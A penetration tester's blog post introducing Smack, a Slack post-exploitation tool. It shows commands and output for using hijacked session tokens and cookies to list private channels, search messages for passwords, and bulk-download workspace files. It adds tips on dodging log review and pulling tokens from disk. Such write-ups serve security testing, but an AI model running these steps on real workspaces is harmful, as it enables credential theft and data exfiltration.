Contents

Smack: Slack Post-Exploitation

⊕ 2020-12-20

It's not uncommon on a pentest to compromise a workstation or get your hands on a small pile of cookies or sessions from various sources and with the advent of Slack becoming one of the primary tools for communication it can often be a treasure trove of data. In my experience it is incredibly common for people to post shared credentials, have workflows that are dangerous, or most commonly posting sensitive documents in Slack. I wanted to automate some of my post-exploitation workflows to let me automate searching for messages, downloading all files from a server, identifying channels, and reading private messages. So I made [Smack](https://git.sr.ht/~poptart/smack):

Basic Usage

To get a general feel for ergonomics and usage of the tool, here is a small set of commands that I used pretty regularly during my assessments:

1./smack check -c examples/fakeserver.json
2./smack files -c examples/fakeserver.json -q "type:zip" -o /tmp/
3./smack files -c examples/fakeserver.json -q "type:zip password" -o /tmp/
4./smack files -c examples/fakeserver.json -q "type:all" -f "text/plain" -o /tmp/
5./smack messages -c examples/fakeserver.json -q "wifi password"
6./smack messages -c examples/fakeserver.json -p
7./smack channels -c examples/fakeserver.json
8./smack channels -c examples/fakeserver.json -p -q "devops"

These examples are pretty self explanatory, but check validates the basic configuration, files interacts with the file search API and can be used to download all files on a server with a filter type, messages searches messages, and channels lists or searches for all channels on the server.

Setting up a configuration file is easy and I suggest using the JSON configuration file, an example of which looks like:

1{
2        "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
3        "Authority": "fakeserver-hq.slack.com",
4        "URL": "fakeserver-hq.slack.com",
5        "Token": "xoxc-xxxxxxxxxxxx-xxxxxxxxxxxx-xxxxxxxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
6        "BCookie":"b=.7cxxxxxxxxxxxxxxxxxxxxxxx",
7        "DCookie":"d=k%2Fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx%3D",
8        "XCookie":"x=7cxxxxxxxxxxxxxxxxxxxxxxx"
9}

A couple of notes, it seems that the exact cookies that are required for xoxc and xoxs tokens fluctuates a bit. I noticed that xoxs tokens seemed to be issued when doing admin actions and didn't always require the other cookies to be set. But, in general these cookies should be set or set to the default empty value (ie BCookie should be b=). Additionally, if you are very worried about OPSEC and people searching for outliers in Slack logs ensure that your UserAgent matches the version information of where these tokens were hijacked.

check gives us a good place to view the basic functionality:

 1$ ./smack check -c examples/fakeserver.json
 2Name: poptart
 3Username: poptart
 4Display Name:
 5Email: poptart@hosakacorp.net
 6Title: Shell Curator
 7Phone:
 8Skype:
 9Admin: false
10App: false
11Bot: false
12Owner: false
13Channels: iot general random medihax autohax defcon password_cracking github_krew
14Team ID: XXXXXXXXX
15Team Name: Fake Team
16Team # of Messages: 29819

You can additionally not use a configuration file and instead use command line flags, but I personally find that to be a pretty unergonomic after some time.

Identifying Channels

The channels command by default lists all available channels in the server (check can be used to find the channels that the user currently logged in as has joined). The basic feel of this command is to print all identifiable channels and channel IDs:

 1./smack channels -c examples/fakeserver.json
 2Count: 15
 3autohax CKY928DUM
 4defcon CLSB5EY2C
 5dfir CJHUKKQFK
 6general C9ND9JZ8A
 7github_krew G01H6L1B753
 8iot C9MQ1PTME
 9medihax CKWTW2ZN1
10mobilehax CKYRVRRKM
11osint C9NHFHGAH
12password_cracking CPQ46RZ2L
13random C9PETBZJT
14readinglist C9MQ448GG
15research C9PFFSP5M
16reversing CJD37ASTT
17social-engineering C9MQ26UE4

The -p flag can be used to only search for private channels, which can be good for identifying user specific team channels and increase the chance of finding secrets or sensitive data.

Searching for Messages

The messages needs more fleshing out, but at the moment it is query based and searches for specific query terms that you would use in the normal Slack search UI. At the moment it's default behavior is to search for the word password, but with -q you can search for any information:

 1./smack messages -c examples/fakeserver.json -q "password"
 2Requesting page 1
 3Count: 18
 4user1: <https://malicious.link/post/2020/solarflare-release-password-dumper-for-solarwinds-orion/|https://malicious.link/post/2020/solarflare-release-password-du
 5mper-for-solarwinds-orion/>
 6user1: Here are a few, I think I've seen some newer ones ...checking...
 7
 8Native Windows password blacklisting option:
 9<https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx>
10Third-party password blacklisting options:
11<https://www.manageengine.com/products/self-service-password/|https://www.manageengine.com/products/self-service-password/> 
12<https://www.passwordrbl.com/password-firewall.html|https://www.passwordrbl.com/password-firewall.html>
13...snip...

Ultimately I would like this to search for all messages and make them archivable, but that might only happen if there is interest.

Extracting Files

One of the main things I was interested in was creating a way to download every file or specific file type from a Slack server, the amount of code with credentials or sensitive financial information sent over Slack is honestly astonishing. In combination with the fact that many organizations do not have a good forced Slack retention policy, this can yield fantastic results for lateral movement. You can use the following to download all files on a server:

1./smack files -c examples/fakeserver.json -o /tmp
2Count: 5
3Downloading 5 items
4downloading: /tmp/F018Z7N15GD_IoT Pricing.pdf | size: 94533
5downloading: /tmp/F015PMSGJ90_5g_security_survey.pdf | size: 4836508
6downloading: /tmp/F015RPF8R36_2020-data-breach-investigations-report.pdf | size: 6980991
7downloading: /tmp/FME8D4GP5_att fail.pdf | size: 374332
8...snip...

By default it searches for PDF files, but you can easily tweak this with the -q and a built-in Slack filetype filter. This shows how you can download all filetypes on the server:

1./smack files -c examples/fakeserver.json -o /tmp -q "type:all"
2Count: 195
3Downloading 195 items
4downloading: /tmp/F01H9DF98E6_thumbs-up.jpg | size: 538162
5downloading: /tmp/F01HFD7PZGC_IMG_20170427_224933.jpg | size: 2942233
6downloading: /tmp/F01HMJ0JKR7_IMG_6458.JPG | size: 163036
7...snip...

Smack uses the internal filename, but also prepends the file identifier in order to try and prevent duplicate downloads.

Another important feature is to search for files with specific MIME types, this is done by filtering all files and pulling a HTTP HEAD from the file and matching the MIME type requested. This allows you to find filetypes that are not natively supported by Slack's search functionality, but tends to be slower the more results there are as it does need to make an additional request per item:

1./smack files -c examples/fakeserver.json -o /tmp -q "type:all" -f "text/plain"
2Count: 2
3Downloading 2 items
4downloading: /tmp/FPBSDA49Y_chess_moves.txt | size: 86016000
5downloading: /tmp/FNJA044BE_Alias | size: 3367

Future

Depending on how much more usage I get out of it or if anyone shows interest I plan to add the following features, consider this to be a pseudo-roadmap:

In addition to the native features, there is also the framework for "extractors" which allow for searching for Slack tokens on disk. This is useful because Slack stores it's tokens in local storage instead of in a cookie store, which does not protect them from being extracted by an attacker with direct disk access. There is a lot of future work that could be done here to automatically hijack and exfil, but so far I have only implementation a simple *nix extractor in shell in cmd/extractors/linux/extract.sh.